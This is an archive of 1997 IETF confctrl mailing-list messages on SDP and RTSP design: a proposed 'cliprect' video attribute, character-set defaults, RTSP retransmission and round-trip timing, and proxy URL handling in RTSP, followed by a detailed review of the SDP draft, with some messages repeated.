Letterbox format will be popular for sending movies
over RTP in conjuction with RTSP.

I would like to propose a scheme that can be used to
send the real video size over SDP. This will not solve
the gray border problem for conferencing since each
participant can potential have a different size border.
However, it will solve the problem in broadcast and
unicast (in conjunction with RTSP) situtations.

The "cliprect", i.e. the rectangle containing the useful
part of the picture, will be sent in an "a=" attribute
line within the "m=video" context.

a=cliprect: <top> <left> <bottom> <right>

Examples:

if we want to send 160x120 centered
inside a QCIF RTP session we send,

a=cliprect: 12 14 132 174

if we want to send 160x120 top left justified
inside a QCIF RTP session we send,

a=cliprect: 0 0 120 160

if we want to send letterbox (160x69) top left justified
inside a QCIF RTP session we send,

a=cliprect: 0 0 69 160

It would be useful if we all agree to this and generate/recognize it.

Any suggestions?

Also, how does one formalize an "a=" attribute? (IANA?)





---------------------------------------------------
Alagu Periyannan                   alagu@apple.com

Interactive Multimedia Group
Apple Computer, Inc.



From majordom@ISI.EDU  Tue Sep  2 12:01:06 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA09329>; Tue, 2 Sep 1997 13:03:23 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA09323>; Tue, 2 Sep 1997 13:03:22 -0700
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id NAA27532
	for <confctrl@ISI.EDU>; Tue, 2 Sep 1997 13:03:20 -0700 (PDT)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id QAA01014; Tue, 2 Sep 1997 16:01:06 -0400
From: Mark Handley <mjh@east.isi.edu>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Alagu Periyannan <alagu@apple.com>
Cc: confctrl@ISI.EDU, rem-conf@es.net
Subject: Re: Sending "cliprect" over SDP 
In-Reply-To: Your message of "Tue, 02 Sep 1997 12:17:05 PDT."
             <v03020923b031a685ecfd@[17.255.20.120]> 
Date: Tue, 02 Sep 1997 16:01:06 -0400
Message-Id: <1012.873230466@north.lcs.mit.edu>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>The "cliprect", i.e. the rectangle containing the useful
>part of the picture, will be sent in an "a=" attribute
>line within the "m=video" context.
>
>a=cliprect: <top> <left> <bottom> <right>


>It would be useful if we all agree to this and generate/recognize it.
>
>Any suggestions?

This seems like a reasonable suggestion to me.  It would be even
better if there was a simple way to indicate the same thing for
multi-party conferencing, but short of adding a new RTCP message type
(which isn't really a good idea) I can't think of one.

>Also, how does one formalize an "a=" attribute? (IANA?)

The process isn't formalized yet, but we expect this to happen through
IANA.  Whether we expect people to write a one-page RFC for each
attribute, or whether we'll collect new attributes together
periodically, or whatever is not decided yet, but will I expect be
sorted out when the IESG approve SDP for Proposed Standard.

Mark

From majordom@ISI.EDU  Tue Sep  2 13:17:10 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA13913>; Tue, 2 Sep 1997 14:19:20 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA13902>; Tue, 2 Sep 1997 14:19:19 -0700
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id OAA01524
	for <confctrl@isi.edu>; Tue, 2 Sep 1997 14:19:18 -0700 (PDT)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id RAA01232; Tue, 2 Sep 1997 17:17:10 -0400
From: Mark Handley <mjh@east.isi.edu>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: confctrl@ISI.EDU
Subject: SDP and unicode
Date: Tue, 02 Sep 1997 17:17:10 -0400
Message-Id: <1230.873235030@north.lcs.mit.edu>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


Currently the default character set for SDP is ISO-8859-1 with IS0
10646 in UTF-7 encoding specified as an alternative character set
using an attribute.

According to recent IESG policy, we should be using UTF-8 instead of
UTF-7.  Also it would be better if we changed the default from
ISO-8859-1 to ISO-10646.  This would affect anyone who has coded the
UTF-7 encoding, and anyone assuming ISO-8859-1 for northern european
languages.

Does anyone have a string opinion on this before I make any changes
and send the draft to the IESG?

Mark

From majordom@ISI.EDU  Wed Sep  3 01:34:56 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA15159>; Tue, 2 Sep 1997 14:36:29 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA15153>; Tue, 2 Sep 1997 14:36:28 -0700
Received: from mail.cs.tu-berlin.de (root@mail.cs.tu-berlin.de [130.149.17.13])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA02354
	for <confctrl@ISI.EDU>; Tue, 2 Sep 1997 14:36:26 -0700 (PDT)
Received: from stwgate.isdn.cs.tu-berlin.de (stwgate.isdn.cs.tu-berlin.de [130.149.221.208])
	by mail.cs.tu-berlin.de (8.8.6/8.8.6) with SMTP id XAA11211;
	Tue, 2 Sep 1997 23:33:08 +0200 (MET DST)
Message-Id: <3.0.1.32.19970902233456.006bc994@mail.cs.tu-berlin.de>
X-Sender: stewe@mail.cs.tu-berlin.de
X-Mailer: Windows Eudora Light Version 3.0.1 (32)
Date: Tue, 02 Sep 1997 23:34:56 +0200
To: Alagu Periyannan <alagu@apple.com>, confctrl@ISI.EDU, rem-conf@es.net
From: "Dr. Stephan Wenger" <stewe@cs.tu-berlin.de>
Subject: Re: Sending "cliprect" over SDP
In-Reply-To: <v03020923b031a685ecfd@[17.255.20.120]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 12:17 02.09.97 -0700, Alagu Periyannan wrote:
>
>Hi all:
>
>Popular video compressions schemes used with RTP
>(H.262, H.263) offer a restricted set of picture sizes.
>
>These are CIF (376x288), QCIF (188x144) and in the
>case of H.263, 4CIF, 16CIF. Since these sizes are fixed
>many of today's conferencing and broadcast tools
>place a gray border around an image captured at a
>different size.

I think that everyone agrees to the necessity of having a
more flexible choice of picture sizes than the old CIF
model. ITU-T expert groups on video compression realized this
as well. The new version of H.263, currently known as it's
working name H.263+, offers pictures sizes between 4 and 2048
pixels in X and Y dimension, which can be negotiated in an
4 pixel granularity. The signalling of the size of the coded
picture is done within the Picture Header of H.263+. Similar
mechanisms are available in MPEG 2 alias H.262.

H.263+ will be a ITU-T recommendation around January 1998. It
might be worth to wait for this new standard, especially
because the implementation effort for the enhancement of
the current (1995) version of H.263 to the new standard is
not very high, if none of the optional modes are implemented.

However, it might be very useful to think today about the
necessity of having any announcement of this information,
if it is already contained in the bitstream. One reason for
that, which comes in mind, is recource allocation in the receivers.

Opinions?

Regards

Stephan
--
--
Dr. Stephan Wenger   stewe@cs.tu-berlin.de

From majordom@ISI.EDU  Wed Sep  3 12:52:44 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA16143>; Wed, 3 Sep 1997 13:55:19 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA16137>; Wed, 3 Sep 1997 13:55:17 -0700
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id NAA16973
	for <confctrl@isi.edu>; Wed, 3 Sep 1997 13:55:16 -0700 (PDT)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id QAA03059; Wed, 3 Sep 1997 16:52:44 -0400
From: Mark Handley <mjh@east.isi.edu>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: confctrl@ISI.EDU
Subject: SDP draft and Proposed Standard submission
Date: Wed, 03 Sep 1997 16:52:44 -0400
Message-Id: <3057.873319964@north.lcs.mit.edu>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


I just submitted a slightly revised SDP draft to the internet drafts
archive, and also to the IESG for consideration as a Proposed Standard.

Most of the changes are simply typographic, and the others have been
discussed here and reflect changes suggested during last call.  They
include:

  - a security considerations section has been added.
  - IS0 10646 UTF 8 as the default character set instead of ISO 8859-1
    in line with IESG policy
  - "application" top level media type replaces "whiteboard" and "text"
  - multiple "c=" fields are now allowed for a media encoding to define
    hierarchical encodings that use admin scoping.

Until it appears in the ID archives, you can obtain the new draft from:
  ftp://ftp.isi.edu/confctrl/docs/draft-ietf-mmusic-sdp-04.txt
  ftp://ftp.isi.edu/confctrl/docs/draft-ietf-mmusic-sdp-04.ps
or also from
  http://north.east.isi.edu/~mjh/draft-ietf-mmusic-sdp-04.txt
  http://north.east.isi.edu/~mjh/draft-ietf-mmusic-sdp-04.ps

Cheers,
	Mark

From majordom@ISI.EDU  Wed Sep  3 07:34:38 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA18609>; Wed, 3 Sep 1997 14:34:57 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA18603>; Wed, 3 Sep 1997 14:34:56 -0700
Received: from mail1.microsoft.com (mail1.microsoft.com [131.107.3.41])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA19076
	for <confctrl@isi.edu>; Wed, 3 Sep 1997 14:34:53 -0700 (PDT)
Received: by INET-01-IMC with Internet Mail Service (5.0.1459.27)
	id <R9ZM6SBN>; Wed, 3 Sep 1997 14:34:40 -0700
Message-Id: <E1F032A1F6FAD011BE6100805FD468021EE411@RED-40-MSG.dns.microsoft.com>
From: "Anders Klemets (VXtreme)" <anderskl@microsoft.com>
To: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: RTSP over UDP
Date: Wed, 3 Sep 1997 14:34:38 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1459.27)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Section 9.2 of the RTSP spec talks about how to do retransmissions of
RTSP messages when they are sent over UDP.  There are a lot of "TBD"
notes in this section.  In earlier versions of the spec, there was an
attempt to overload the use of the RTSP sequence number.  The sequence
number was supposed to protect against packet loss and reordering, but
it was also to be used for round-trip-time estimations. 

As is pointed out in the TBD sections, there is a problem with this.  In
order to get a proper RTT estimate, the sequence number has to be
incremented each time a packet is retransmitted.  But now the server
can't know for sure that it has received all of the packets if it sees a
gap in the sequence number space.  Was the missing packet retransmitted
by the client, or is it simply delayed and still on its way?

I think the right way of handling this is to treat the RTSP sequence
number in the same way for UDP as for TCP.  If the client needs to
estimate the RTT to the server, it can send a timestamp in a "Timestamp:
" header line.  The server would echo the timestamp in a reply, also
stating how long it waited before it sent the reply.  This is the same
way RTT measurement is done in RTP.  (But one can't rely on RTP always
being used for the data transfer.)

One of the nice things about this is that it allows the application to
control when and how often it wants to do a RTT measurement.  Such
measurements may be useful for things other than just calculating the
retransmission delay of RTSP messages.  (In software that I have
written, I use the RTT between the client and the server for a variety
of different things.)  Using a separate header line for the timestamp
decouples it from UDP and it now becomes possible to measure the RTT
over TCP connections as well.

Since the timestamps "piggy-back" on RTSP commands, it might be useful
to define a NOOP command, that can be used to make an RTT measurement
without sending a real command.

Anders


From majordom@ISI.EDU  Thu Sep  4 02:46:16 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA23589>; Wed, 3 Sep 1997 15:46:36 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA23583>; Wed, 3 Sep 1997 15:46:33 -0700
Received: from www45.inria.fr (hoschka@www45.inria.fr [138.96.10.9])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA22605
	for <confctrl@isi.edu>; Wed, 3 Sep 1997 15:46:32 -0700 (PDT)
Received: by www45.inria.fr (8.8.6/8.8.5) id AAA25878; Thu, 4 Sep 1997 00:46:17 +0200 (MET DST)
Message-Id: <199709032246.AAA25878@www45.inria.fr>
To: confctrl@ISI.EDU
From: Philipp Ho
chka <hoschka@w3.org>
Subject: Java RTSP implementation available in Jigsaw distribution
Date: Thu, 04 Sep 1997 00:46:16 +0200
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


You can get it from

http://www.w3.org/Jigsaw/

The implementation can handle audio and video, using both client
and server helpers to deal with media encoding/decoding.

The use of sdp for 1-1-n is rather "creative" in the current 
version, the reason being that things weren't finished when 
this was written.

-Philipp

----------------------------------------------------------------------
   Philipp Hoschka
   WWW: http://www.w3.org/people/hoschka
				  |   World Wide Web Consortium
				  |   INRIA
   hoschka@w3.org                 |   2004, Route des Lucioles, BP 93
   Tel:(+33) 4 93 65 79 84        |   06902 Sophia Antipolis Cedex
   Fax:(+33) 4 93 65 77 65        |   France
----------------------------------------------------------------------

From majordom@ISI.EDU  Wed Sep  3 15:32:19 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA07764>; Wed, 3 Sep 1997 22:32:24 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA07758>; Wed, 3 Sep 1997 22:32:23 -0700
Received: from mail5.microsoft.com (mail5.microsoft.com [131.107.3.31])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id WAA03288
	for <confctrl@ISI.EDU>; Wed, 3 Sep 1997 22:32:20 -0700 (PDT)
Received: by mail5.microsoft.com with Internet Mail Service (5.0.1459.27)
	id <R9ZRNSL9>; Wed, 3 Sep 1997 22:35:09 -0700
Message-Id: <E1F032A1F6FAD011BE6100805FD468021EE412@RED-40-MSG.dns.microsoft.com>
From: "Anders Klemets (VXtreme)" <anderskl@microsoft.com>
To: "'Rob Lanphier'" <robla@prognet.com>,
        "Henning Schulzrinne (BL)"
	 <hgs@dnrc.bell-labs.com>
Cc: confctrl@ISI.EDU
Subject: RE: RTSP 1b & e. 1-1-n & Use of SDP within RTSP
Date: Wed, 3 Sep 1997 22:32:19 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1459.27)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

On Thursday, August 28, 1997 10:47 AM, Rob Lanphier
[SMTP:robla@prognet.com] wrote:
> 
> What this approach allows is the clean creation of a coordinator
proxy.  By
> returning this presentation description, the RTSP server is
volunteering to
> make the coordination happen, and thus isn't imposing it on the
client.
> The client can then treat the URLs as opaque stream identifiers.

I think it is inconsistent to sometimes treat URLs as opaque stream
identifiers, and sometimes not.  Below is an example of how this problem
can be solved.

Suppose the host "proxy.com" is a coordinator proxy.  We want the client
to play a program called "something/other.dsp" that is maintained by the
server "foo.com".  
If a client gets an RTSP URL from an HTML EMBED or OBJECT tag, the URL
can look in two different ways:

rtsp://proxy.com/rtsp://foo.com/something/other.sdp

or

rtsp://foo.com/something/other.sdp

In this second case, the client needs to know, somehow, that it is
supposed to send the RTSP DESCRIBE command to "proxy.com".  Perhaps it
is a manual configuration parameter, or maybe a some client
autoconfiguration protocol is used for this purpose.

Now, assuming the client is connected to proxy.com, the RTSP messages
look like this:

C->S:
  DESCRIBE rtsp://proxy.com/rtsp://foo.com/something/other.sdp

S->C:
  RTSP/1.0 200 1 OK
  Date: Tue Jul 22 17:11:12 1997
  Content-Type: application/sdp
  Content-Length: 319
  
  v=0
  o=- 2890844256 2890842807 IN IP4 127.0.0.1
  s=<title string>
  i=<more info> 
  t=0 0
  m=video 8002 RTP/AVP 31
  c=IN URL rtsp://proxy.com/rtsp://oneplace.com/blah?trackID=47
  m=audio 8004 RTP/AVP 3
  c=IN URL rtsp://proxy.com/rtsp://theother.com/blech?trackID=48

C->S:
  SETUP rtsp://proxy.com/rtsp://oneplace.com/blah?trackID=47
  ...

In the example above, the proxy wants to stream the data to the client.
Since the URLs are not treated as opaque strings, the proxy needs to
prefix the URLs on the "c=" lines with "rtsp://proxy.com/" to make sure
that the client sends the SETUP commands directly to it, and not to
"oneplace.com".

Note that with this proposal there is no ambiguity about how RTSP URLs
are treated.  The thing between the "://" and the next "/" always refers
to an RTSP host, and you are supposed to send the RTSP commands to that
host.

Note also, that unless the proxy is some sort of "virtual" proxy, i.e.
it has multiple domain names, any RTSP commands that it gets will always
start with "rtsp://proxy.com".  Anything else should result in a 3xx (or
4xx?) error code.  It was for the sole purpose of supporting virtual
servers (e.g. "abc.com" and "cbs.com" handled by the same server) that
we decided to transmit the "rtsp://hostname:port" portion of the URL,
isn't that right?

It's also fine to do like Henning suggested, and let the proxy change
the name space.  So instead of saying:

  c=IN URL rtsp://proxy.com/rtsp://oneplace.com/blah?trackID=47

some proxies could choose to change the SDP to something like this:

  c=IN URL rtsp://proxy.com/blah?trackID=47

That's fine too, but proxies that choose to do this become somewhat more
complex to implement, because now they need to keep a table that maps
from the new name space to the original name space.

Anders


From majordom@ISI.EDU  Thu Sep  4 04:09:01 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA29327>; Thu, 4 Sep 1997 11:39:01 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA29321>; Thu, 4 Sep 1997 11:38:59 -0700
Received: from mail-out1.apple.com (mail-out1.apple.com [17.254.0.52])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA16942
	for <confctrl@ISI.EDU>; Thu, 4 Sep 1997 11:38:57 -0700 (PDT)
Received: from scv1.apple.com (A17-128-100-139.apple.com [17.128.100.139])
	by mail-out1.apple.com (8.8.5/8.8.5) with ESMTP id LAB12076;
	Thu, 4 Sep 1997 11:08:59 -0700
Received: from [17.255.20.120] ([17.255.20.120])
	by scv1.apple.com (8.8.5/8.8.5) with ESMTP id LAA04380;
	Thu, 4 Sep 1997 11:09:01 -0700
Date: Thu, 4 Sep 1997 11:09:01 -0700
X-Sender: alagu@mail.apple.com
Message-Id: <v0302092eb034445b7eef@[17.255.20.120]>
In-Reply-To: <v03020923b031a685ecfd@[17.255.20.120]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: confctrl@ISI.EDU, rem-conf@es.net
From: Alagu Periyannan <alagu@apple.com>
Subject: Re: Sending "cliprect" over SDP
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


Hi all,

There was an error in the CIF/QCIF numbers I sent out
in my previous email. Thanks to Kipp (H.A. Kippenhan Jr.) for
pointing this out.

Actually the CIF size is 352x288 and the QCIF size is 176x144.
(I had incorrectly used 376x288 and 188x144)

Also please note that the origin for the purposes of sending the
cliprect is located at the top left corner of the image.

So the examples will read,

Examples:

if we want to send 160x120 centered
inside a QCIF RTP session we send,

a=cliprect: 12 8 132 168

if we want to send 160x120 top left justified
inside a QCIF RTP session we send,

a=cliprect: 0 0 120 160

if we want to send letterbox (160x69) top left justified
inside a QCIF RTP session we send,

a=cliprect: 0 0 69 160





---------------------------------------------------
Alagu Periyannan                   alagu@apple.com

Interactive Multimedia Group
Apple Computer, Inc.



From majordom@ISI.EDU  Thu Sep  4 12:44:30 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA09787>; Thu, 4 Sep 1997 13:47:13 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA09781>; Thu, 4 Sep 1997 13:47:12 -0700
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id NAA22769
	for <confctrl@isi.edu>; Thu, 4 Sep 1997 13:47:12 -0700 (PDT)
Received: from East.Sun.COM ([129.148.1.241]) by mercury.Sun.COM (SMI-8.6/mail.byaddr) with SMTP id NAA25490 for <confctrl@isi.edu>; Thu, 4 Sep 1997 13:44:36 -0700
Received: from suneast.East.Sun.COM by East.Sun.COM (SMI-8.6/SMI-5.3)
	id QAA29427; Thu, 4 Sep 1997 16:44:32 -0400
Received: from bcn.East.Sun.COM by suneast.East.Sun.COM (SMI-8.6/SMI-SVR4)
	id QAA03147; Thu, 4 Sep 1997 16:44:33 -0400
Received: from pine by bcn.East.Sun.COM (SMI-8.6/SMI-SVR4)
	id QAA04817; Thu, 4 Sep 1997 16:44:31 -0400
Date: Thu, 4 Sep 1997 16:44:30 -0400 (EDT)
From: Steve Hanna <shanna@bcn.East.Sun.COM>
Reply-To: Steve Hanna <shanna@bcn.East.Sun.COM>
Subject: Re: SDP draft and Proposed Standard submission
To: confctrl@ISI.EDU
Message-Id: <libSDtMail.9709041644.6560.shanna@bcn>
Mime-Version: 1.0
Content-Type: TEXT/plain; charset=us-ascii
Content-Md5: Y6M1eJrHkZwUM+/aVWpTRw==
X-Mailer: dtmail 1.1.0 CDE Version 1.1_59 SunOS 5.5.1 sun4u sparc 
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

I have a few comments on the latest SDP draft. I apologize for sending them 
late, but some of them pertain to the changes just made. I have provided 
specific alternatives when possible with the hope that this won't slow things 
down too much.

1) The description of the charset attribute should probably describe in greater 
detail what the valid values for this attribute are and what their meanings are.

Maybe: "The character set identifier MUST be one of those registered with the 
IANA, such as ISO-8859-1. The character set identifier is a US-ASCII string and 
MUST be compared against the IANA identifiers using a case-insensitive 
comparison. If the identifier is not recognized or not supported, all strings 
that are affected by it SHOULD be regarded as byte strings. The default value is 
UTF-8 (ISO 10646 with UTF-8, as described in RFC 2044)."

If we decide to use IANA character set names, the example given 
("a=charset:iso8859-1") should use a valid IANA character set name (like 
"a=charset:iso-8859-1").

2) The charset attribute only applies to the session name (field type s) and 
information (field type i), right? Everything else must be US-ASCII? If that's
correct, it should be stated early on (perhaps in section 5.6, 
Internationalization).

3) It would be nice to be able to apply the charset attribute to attribute 
values (like the keywords attribute or some application-specific attributes).

We could specify an alternative form of the attribute rule that indicates that 
the attribute uses the character set specified in the charset parameter. Or we 
could simply specify that any attribute may do so by specifying this in the 
definition of the attribute.

4) At the top of page 9 (text version), it says "Text records such as the 
session name and information may contain any printable 8 bit ISO 10646 character 
with the exceptions of 0x0a (ASCII newline) and 0x0d (ASCII carriage return)." I 
believe that the phrase "8 bit ISO 10646 character" is a contradiction in terms. 
Also, in the next sentence CRLF is 0x0d0a not 0x0a0d.

I'm also not sure exactly what a "printable" ISO 10646 character is. Do you want 
to exclude combining characters (also known as diacritical characters), layout 
and format control characters, etc.? I see no reason to do so. Only LF and CR 
must be protected against.

Actually, it might be better to make this sentence refer to the text records as 
byte strings, since their character set depends on the value of the charset 
attribute. It might be ISO 10646, but it might not.

So this sentence could be replaced with "Text records such as the session name 
and information are byte strings that must be interpreted according to the value 
of the charset attribute. They may contain any byte with the exceptions of 0x0a 
(ASCII newline) and 0x0d (ASCII carriage return)." Of course, this would also 
require changing the text rule in the BNF. It should probably be revised anyway, 
as it seems to be restricted to ISO 10646 with UTF-8 and ISO 8859-1.

5) What if the charset parameter specifies a character set that uses 0A or 0D 
(the UTF-8 versions of 000A and 000D) for important characters? For instance, 
say ISO-10646-UCS-2 is chosen (or any other multibyte character set). 
Disallowing the use of 0A or 0D would eliminate lots of characters (all Gujarati 
characters in ISO-10646-UCS-2, for instance).

One way to solve this problem would be to provide a way to specify a content 
encoding (like quoted-printable or BASE64) that may be used in conjunction with 
the charset.

6) What should we do about language tags? Harald Alvestrand's I-D "IETF Policy 
on Character Sets and Languages" (draft-alvestrand-charset-policy-00.txt) says 
that "Protocols that transfer human-readable text MUST provide for multiple 
languages." We could add another attribute to identify the language used in this 
announcement (like a=language:language-tag). It would be nice to be able to send 
an announcement of a session in several languages at once, but that's a bit 
harder.

7) Just a nit, but the document should use MAY, MUST, SHOULD, and other key 
words to define requirements throughout, as described in RFC 2119. Right now, 
it's fairly loose.

8) At the bottom of page 19, it refers to an IANA registration procedure for 
protocol names. Is this defined somewhere?

9) Is it a goal to allow SDP descriptions to be transported in email without 
requiring encoding? If so, we might want to add a way to do line folding by 
specifying that the sequence CRLF SPACE is equivalent to a SPACE and may appear 
anywhere a SPACE may appear.

10) The BNF for attribute values is awfully restrictive. I would suggest that we 
add at least "+", "/", and "=" so that people can put BASE64 encoded objects in 
there. In fact, the frame rate attribute needs "." and the keywords attribute 
needs SPACE or some other separator. Is there any reason not to use the text 
rule? Of course, that raises the question of whether the charset attribute 
should apply to them.

Overall, this is a great draft and a very nice protocol. I enjoy using it. I 
just want to make sure it is specified clearly and properly.

Thanks,

Steve Hanna
Sun Microsystems, Inc.


From majordom@ISI.EDU  Thu Sep  4 04:09:01 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA29327>; Thu, 4 Sep 1997 11:39:01 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA29321>; Thu, 4 Sep 1997 11:38:59 -0700
Received: from mail-out1.apple.com (mail-out1.apple.com [17.254.0.52])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA16942
	for <confctrl@ISI.EDU>; Thu, 4 Sep 1997 11:38:57 -0700 (PDT)
Received: from scv1.apple.com (A17-128-100-139.apple.com [17.128.100.139])
	by mail-out1.apple.com (8.8.5/8.8.5) with ESMTP id LAB12076;
	Thu, 4 Sep 1997 11:08:59 -0700
Received: from [17.255.20.120] ([17.255.20.120])
	by scv1.apple.com (8.8.5/8.8.5) with ESMTP id LAA04380;
	Thu, 4 Sep 1997 11:09:01 -0700
Date: Thu, 4 Sep 1997 11:09:01 -0700
X-Sender: alagu@mail.apple.com
Message-Id: <v0302092eb034445b7eef@[17.255.20.120]>
In-Reply-To: <v03020923b031a685ecfd@[17.255.20.120]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: confctrl@ISI.EDU, rem-conf@es.net
From: Alagu Periyannan <alagu@apple.com>
Subject: Re: Sending "cliprect" over SDP
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


Hi all,

There was an error in the CIF/QCIF numbers I sent out
in my previous email. Thanks to Kipp (H.A. Kippenhan Jr.) for
pointing this out.

Actually the CIF size is 352x288 and the QCIF size is 176x144.
(I had incorrectly used 376x288 and 188x144)

Also please note that the origin for the purposes of sending the
cliprect is located at the top left corner of the image.

So the examples will read,

Examples:

if we want to send 160x120 centered
inside a QCIF RTP session we send,

a=cliprect: 12 8 132 168

if we want to send 160x120 top left justified
inside a QCIF RTP session we send,

a=cliprect: 0 0 120 160

if we want to send letterbox (160x69) top left justified
inside a QCIF RTP session we send,

a=cliprect: 0 0 69 160





---------------------------------------------------
Alagu Periyannan                   alagu@apple.com

Interactive Multimedia Group
Apple Computer, Inc.



From majordom@ISI.EDU  Thu Sep  4 12:44:30 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA09787>; Thu, 4 Sep 1997 13:47:13 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA09781>; Thu, 4 Sep 1997 13:47:12 -0700
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id NAA22769
	for <confctrl@isi.edu>; Thu, 4 Sep 1997 13:47:12 -0700 (PDT)
Received: from East.Sun.COM ([129.148.1.241]) by mercury.Sun.COM (SMI-8.6/mail.byaddr) with SMTP id NAA25490 for <confctrl@isi.edu>; Thu, 4 Sep 1997 13:44:36 -0700
Received: from suneast.East.Sun.COM by East.Sun.COM (SMI-8.6/SMI-5.3)
	id QAA29427; Thu, 4 Sep 1997 16:44:32 -0400
Received: from bcn.East.Sun.COM by suneast.East.Sun.COM (SMI-8.6/SMI-SVR4)
	id QAA03147; Thu, 4 Sep 1997 16:44:33 -0400
Received: from pine by bcn.East.Sun.COM (SMI-8.6/SMI-SVR4)
	id QAA04817; Thu, 4 Sep 1997 16:44:31 -0400
Date: Thu, 4 Sep 1997 16:44:30 -0400 (EDT)
From: Steve Hanna <shanna@bcn.East.Sun.COM>
Reply-To: Steve Hanna <shanna@bcn.East.Sun.COM>
Subject: Re: SDP draft and Proposed Standard submission
To: confctrl@ISI.EDU
Message-Id: <libSDtMail.9709041644.6560.shanna@bcn>
Mime-Version: 1.0
Content-Type: TEXT/plain; charset=us-ascii
Content-Md5: Y6M1eJrHkZwUM+/aVWpTRw==
X-Mailer: dtmail 1.1.0 CDE Version 1.1_59 SunOS 5.5.1 sun4u sparc 
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

I have a few comments on the latest SDP draft. I apologize for sending them 
late, but some of them pertain to the changes just made. I have provided 
specific alternatives when possible with the hope that this won't slow things 
down too much.

1) The description of the charset attribute should probably describe in greater 
detail what the valid values for this attribute are and what their meanings are.

Maybe: "The character set identifier MUST be one of those registered with the 
IANA, such as ISO-8859-1. The character set identifier is a US-ASCII string and 
MUST be compared against the IANA identifiers using a case-insensitive 
comparison. If the identifier is not recognized or not supported, all strings 
that are affected by it SHOULD be regarded as byte strings. The default value is 
UTF-8 (ISO 10646 with UTF-8, as described in RFC 2044)."

If we decide to use IANA character set names, the example given 
("a=charset:iso8859-1") should use a valid IANA character set name (like 
"a=charset:iso-8859-1").

2) The charset attribute only applies to the session name (field type s) and 
information (field type i), right? Everything else must be US-ASCII? If that's
correct, it should be stated early on (perhaps in section 5.6, 
Internationalization).

3) It would be nice to be able to apply the charset attribute to attribute 
values (like the keywords attribute or some application-specific attributes).

We could specify an alternative form of the attribute rule that indicates that 
the attribute uses the character set specified in the charset parameter. Or we 
could simply specify that any attribute may do so by specifying this in the 
definition of the attribute.

4) At the top of page 9 (text version), it says "Text records such as the 
session name and information may contain any printable 8 bit ISO 10646 character 
with the exceptions of 0x0a (ASCII newline) and 0x0d (ASCII carriage return)." I 
believe that the phrase "8 bit ISO 10646 character" is a contradiction in terms. 
Also, in the next sentence CRLF is 0x0d0a not 0x0a0d.

I'm also not sure exactly what a "printable" ISO 10646 character is. Do you want 
to exclude combining characters (also known as diacritical characters), layout 
and format control characters, etc.? I see no reason to do so. Only LF and CR 
must be protected against.

